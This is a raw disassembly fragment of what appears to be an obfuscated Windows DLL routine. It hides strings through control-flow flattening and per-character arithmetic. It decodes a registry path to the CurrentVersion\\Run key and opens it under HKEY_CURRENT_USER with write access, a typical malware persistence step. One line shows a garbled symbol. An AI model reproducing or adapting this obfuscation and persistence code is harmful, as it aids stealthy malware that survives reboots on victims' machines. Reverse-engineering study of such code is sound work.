mov ecx, 0x95339442
jmp 0x18002b640
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x69
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002b620
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0x12], cx
add rax, 0x14
mov qword [rbp + 0x198], rax
mov word [rbp + 0xe8], WSAStartup
mov eax, 0xcc7aac96
jmp 0x18002b170
movzx eax, word [rbp + 0xe8]
mov ecx, 0xc382c575
nop dword [rax + rax]
cmp ecx, 0xf70b2372
je 0x18002b746
cmp ecx, 0xc382c575
jne 0x18002b6d0
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002b711
cmp ecx, 0x6ae61856
jne 0x18002b6f0
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002b6f0
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, eax
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002b6d0
mov eax, dword [rbp + 0xf0]
mov rcx, qword [rbp + 0x198]
mov word [rcx], ax
mov rax, qword [rbp + 0x198]
mov ecx, 0xc382c575
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xf70b2372
je 0x18002b7e7
cmp ecx, 0xc382c575
jne 0x18002b770
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002b7b1
cmp ecx, 0x6ae61856
jne 0x18002b790
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002b790
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x64
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002b770
mov ecx, dword [rbp + 0xf0]
mov word [rax + 2], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002b877
cmp ecx, 0xc382c575
jne 0x18002b800
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002b841
cmp ecx, 0x6ae61856
jne 0x18002b820
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002b820
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x6f
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002b800
mov ecx, dword [rbp + 0xf0]
mov word [rax + 4], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002b907
cmp ecx, 0xc382c575
jne 0x18002b890
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002b8d1
cmp ecx, 0x6ae61856
jne 0x18002b8b0
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002b8b0
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x77
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002b890
mov ecx, dword [rbp + 0xf0]
mov word [rax + 6], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002b997
cmp ecx, 0xc382c575
jne 0x18002b920
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002b961
cmp ecx, 0x6ae61856
jne 0x18002b940
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002b940
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x73
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002b920
mov ecx, dword [rbp + 0xf0]
mov word [rax + 8], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002ba27
cmp ecx, 0xc382c575
jne 0x18002b9b0
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002b9f1
cmp ecx, 0x6ae61856
jne 0x18002b9d0
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002b9d0
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x5c
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002b9b0
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0xa], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002bab7
cmp ecx, 0xc382c575
jne 0x18002ba40
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002ba81
cmp ecx, 0x6ae61856
jne 0x18002ba60
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002ba60
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x63
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002ba40
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0xc], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002bb47
cmp ecx, 0xc382c575
jne 0x18002bad0
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002bb11
cmp ecx, 0x6ae61856
jne 0x18002baf0
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002baf0
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x75
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002bad0
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0xe], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002bbd7
cmp ecx, 0xc382c575
jne 0x18002bb60
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002bba1
cmp ecx, 0x6ae61856
jne 0x18002bb80
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002bb80
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x72
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002bb60
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0x10], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002bc67
cmp ecx, 0xc382c575
jne 0x18002bbf0
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002bc31
cmp ecx, 0x6ae61856
jne 0x18002bc10
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002bc10
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x72
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002bbf0
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0x12], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002bcf7
cmp ecx, 0xc382c575
jne 0x18002bc80
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002bcc1
cmp ecx, 0x6ae61856
jne 0x18002bca0
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002bca0
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x65
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002bc80
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0x14], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002bd87
cmp ecx, 0xc382c575
jne 0x18002bd10
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002bd51
cmp ecx, 0x6ae61856
jne 0x18002bd30
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002bd30
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x6e
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002bd10
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0x16], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002be17
cmp ecx, 0xc382c575
jne 0x18002bda0
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002bde1
cmp ecx, 0x6ae61856
jne 0x18002bdc0
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002bdc0
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x74
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002bda0
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0x18], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002bea7
cmp ecx, 0xc382c575
jne 0x18002be30
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002be71
cmp ecx, 0x6ae61856
jne 0x18002be50
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002be50
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x76
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002be30
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0x1a], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002bf37
cmp ecx, 0xc382c575
jne 0x18002bec0
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002bf01
cmp ecx, 0x6ae61856
jne 0x18002bee0
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002bee0
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x65
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002bec0
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0x1c], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002bfc7
cmp ecx, 0xc382c575
jne 0x18002bf50
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002bf91
cmp ecx, 0x6ae61856
jne 0x18002bf70
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002bf70
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x72
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002bf50
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0x1e], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002c057
cmp ecx, 0xc382c575
jne 0x18002bfe0
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002c021
cmp ecx, 0x6ae61856
jne 0x18002c000
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002c000
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x73
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002bfe0
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0x20], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002c0e7
cmp ecx, 0xc382c575
jne 0x18002c070
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002c0b1
cmp ecx, 0x6ae61856
jne 0x18002c090
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002c090
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x69
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002c070
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0x22], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002c177
cmp ecx, 0xc382c575
jne 0x18002c100
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002c141
cmp ecx, 0x6ae61856
jne 0x18002c120
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002c120
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x6f
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002c100
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0x24], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002c207
cmp ecx, 0xc382c575
jne 0x18002c190
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002c1d1
cmp ecx, 0x6ae61856
jne 0x18002c1b0
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002c1b0
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x6e
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002c190
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0x26], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002c297
cmp ecx, 0xc382c575
jne 0x18002c220
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002c261
cmp ecx, 0x6ae61856
jne 0x18002c240
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002c240
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x5c
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002c220
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0x28], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002c327
cmp ecx, 0xc382c575
jne 0x18002c2b0
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002c2f1
cmp ecx, 0x6ae61856
jne 0x18002c2d0
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002c2d0
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x72
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002c2b0
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0x2a], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002c3b7
cmp ecx, 0xc382c575
jne 0x18002c340
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002c381
cmp ecx, 0x6ae61856
jne 0x18002c360
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002c360
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x75
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002c340
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0x2c], cx
mov ecx, 0xc382c575
nop word cs:[rax + rax]
cmp ecx, 0xf70b2372
je 0x18002c447
cmp ecx, 0xc382c575
jne 0x18002c3d0
mov ecx, 0x6ae61856
nop word cs:[rax + rax]
nop
cmp ecx, 0x95339442
je 0x18002c411
cmp ecx, 0x6ae61856
jne 0x18002c3f0
mov dword [rbp + 0xf8], 0xc00a
mov ecx, 0x95339442
jmp 0x18002c3f0
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
movzx ecx, cx
add ecx, 0x6e
mov dword [rbp + 0xf0], ecx
mov ecx, 0xf70b2372
jmp 0x18002c3d0
mov ecx, dword [rbp + 0xf0]
mov word [rax + 0x2e], cx
mov word [rax + 0x30], 0
mov rcx, qword [rbp + 0xa8]
sub rsp, 0x20
call fcn.1800311c0
add rsp, 0x20
mov rcx, qword [rbp + 0xc8]
sub rsp, 0x30
mov qword [rsp + 0x20], rcx
mov rcx, 0xffffffff80000001
mov rdx, rax
xor r8d, r8d
mov r9d, 0x2001f
call rdi
add rsp, 0x30
test eax, eax
sete al
mov rcx, qword [rbp + 0xc8]
cmp qword [rcx], 0
setne cl
and cl, al
mov byte [rbp + 0xd3], cl
mov eax, 0xf85bf435
movabs r9, 0x100000001b3
mov r10d, 0xed3b0916
mov r11d, 0xde9741b
mov r8d, 0xf06d6b09
jmp 0x18002651b
mov rax, qword [rbp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov rax, qword [rbp + 0xc0]
mov qword [rbp], rax
mov rax, qword [rbp]
mov rax, qword [rbp + 0xc0]
mov dword [rax], 1
mov rax, qword [rbp + 0xa0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0xe0], rax
mov rcx, qword [rbp + 0xe0]
mov byte [rcx], 0x10
mov rcx, qword [rbp + 0xe0]
mov qword [rbp + 0x108], rax
mov edx, 0x337d1bd5
mov r8d, 0xfb0db071
nop dword [rax]
cmp edx, 0xac51a1fb
je 0x18002c752
cmp edx, 0x337d1bd5
jne 0x18002c540
mov rdx, qword [rbp + 0x108]
movsx rdx, byte [rdx]
mov qword [rbp + 0x198], rdx
mov edx, 0xac51a1fb
jmp 0x18002c540
mov rax, qword [rbp + 0xc0]
mov dword [rax], 1
mov rax, qword [rbp + 0x90]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0xf0], rax
mov rcx, qword [rbp + 0xf0]
mov byte [rcx], 9
mov rcx, qword [rbp + 0xf0]
mov dl, byte [rax]
mov ebx, 0x158cd83e
nop
cmp ebx, 0x7ee59bc8
je 0x18002c79d
cmp ebx, 0x158cd83e
jne 0x18002c5b0
mov dword [rbp + 0x198], 0x47
mov ebx, 0xf66297dd
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x831e9691
je 0x18002c5fd
cmp ebx, 0xf66297dd
jne 0x18002c5e0
mov byte [rbp + 0x108], dl
mov ebx, 0x831e9691
jmp 0x18002c5e0
mov bl, byte [rbp + 0x108]
mov byte [rbp + 0xf8], bl
mov ebx, 0x7ee59bc8
jmp 0x18002c5b0
mov rax, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x28]
mov rcx, qword [rbp - 0x58]
sub rsp, 0x20
mov r8d, 0x400
call rax
add rsp, 0x20
mov rax, qword [rbp - 0x20]
mov rax, qword [rbp + 0x88]
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0xe0], rax
mov rcx, qword [rbp + 0xe0]
mov word [rcx], 0x630f
mov rcx, qword [rbp + 0xe0]
mov edx, 0x800b32f6
mov edi, 0x9b669242
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x1b941909
je 0x18002c820
cmp edx, 0x800b32f6
jne 0x18002c670
mov qword [rbp + 0x108], rax
mov edx, 0xdddd4aba
cmp edx, 0x2c73f116
je 0x18002c6b5
cmp edx, 0xdddd4aba
jne 0x18002c690
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x2c73f116
jmp 0x18002c690
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x72
mov dword [rbp + 0xf8], edx
mov edx, 0x1b941909
jmp 0x18002c670
mov rax, qword [rbp + 0x28]
mov rax, qword [rbp + 0xb8]
mov dword [rbp + 0x108], 0x43
mov ecx, 0xb99354bc
nop dword [rax]
cmp ecx, 0xa1518875
je 0x18002c88f
cmp ecx, 0xb99354bc
jne 0x18002c6f0
mov dword [rbp + 0x198], 0x4b
mov ecx, 0xa1518875
jmp 0x18002c6f0
mov rax, qword [rbp + 0x70]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov rax, qword [rbp + 0x70]
mov ecx, 0xef606353
mov edi, 0x2f6409a9
nop
cmp ecx, 0xa977f955
je 0x18002c8f0
cmp ecx, 0xef606353
jne 0x18002c730
mov byte [rbp + 0x198], 0x55
mov ecx, 0xa977f955
jmp 0x18002c730
mov rdx, qword [rbp + 0x198]
xor dl, 0x52
mov byte [rcx + 1], dl
mov qword [rbp + 0x108], rax
mov edx, 0x337d1bd5
nop dword [rax + rax]
cmp edx, 0xac51a1fb
je 0x18002c922
cmp edx, 0x337d1bd5
jne 0x18002c770
mov rdx, qword [rbp + 0x108]
movsx rdx, byte [rdx]
mov qword [rbp + 0x198], rdx
mov edx, 0xac51a1fb
jmp 0x18002c770
mov dl, byte [rbp + 0xf8]
mov ebx, dword [rbp + 0x198]
xor bl, dl
mov byte [rcx + 1], bl
mov dl, byte [rax]
mov ebx, 0x158cd83e
nop word cs:[rax + rax]
nop
cmp ebx, 0x7ee59bc8
je 0x18002c96d
cmp ebx, 0x158cd83e
jne 0x18002c7c0
mov dword [rbp + 0x198], 0x65
mov ebx, 0xf66297dd
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x831e9691
je 0x18002c80d
cmp ebx, 0xf66297dd
jne 0x18002c7f0
mov byte [rbp + 0x108], dl
mov ebx, 0x831e9691
jmp 0x18002c7f0
mov bl, byte [rbp + 0x108]
mov byte [rbp + 0xf8], bl
mov ebx, 0x7ee59bc8
jmp 0x18002c7c0
mov edx, dword [rbp + 0xf8]
mov word [rcx + 2], dx
mov edx, 0x800b32f6
nop
cmp edx, 0x1b941909
je 0x18002c9f0
cmp edx, 0x800b32f6
jne 0x18002c830
mov qword [rbp + 0x108], rax
mov edx, 0xdddd4aba
cmp edx, 0x2c73f116
je 0x18002c875
cmp edx, 0xdddd4aba
jne 0x18002c850
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x2c73f116
jmp 0x18002c850
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x65
mov dword [rbp + 0xf8], edx
mov edx, 0x1b941909
jmp 0x18002c830
movsxd rcx, dword [rbp + 0x198]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov byte [rbp + 0xf8], cl
mov ecx, 0x6aac2ef1
nop dword [rax]
cmp ecx, 0x830fc09d
je 0x18002ca5f
cmp ecx, 0x6aac2ef1
jne 0x18002c8c0
movzx ecx, byte [rbp + 0xf8]
mov edx, dword [rbp + 0x108]
add dl, cl
mov byte [rbp + 0x198], dl
mov ecx, 0x830fc09d
jmp 0x18002c8c0
mov cl, byte [rbp + 0x198]
mov byte [rax], cl
mov ecx, 0xef606353
nop dword [rax]
cmp ecx, 0xa977f955
je 0x18002caa5
cmp ecx, 0xef606353
jne 0x18002c900
mov byte [rbp + 0x198], 0x68
mov ecx, 0xa977f955
jmp 0x18002c900
mov rdx, qword [rbp + 0x198]
add dl, 1
xor dl, 0x65
mov byte [rcx + 2], dl
mov qword [rbp + 0x108], rax
mov edx, 0x337d1bd5
nop
cmp edx, 0xac51a1fb
je 0x18002cc8c
cmp edx, 0x337d1bd5
jne 0x18002c940
mov rdx, qword [rbp + 0x108]
movsx rdx, byte [rdx]
mov qword [rbp + 0x198], rdx
mov edx, 0xac51a1fb
jmp 0x18002c940
mov dl, byte [rbp + 0xf8]
mov ebx, dword [rbp + 0x198]
xor bl, dl
mov byte [rcx + 2], bl
mov dl, byte [rax]
mov ebx, 0x158cd83e
nop word cs:[rax + rax]
nop
cmp ebx, 0x7ee59bc8
je 0x18002cced
cmp ebx, 0x158cd83e
jne 0x18002c990
mov dword [rbp + 0x198], 0x74
mov ebx, 0xf66297dd
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x831e9691
je 0x18002c9dd
cmp ebx, 0xf66297dd
jne 0x18002c9c0
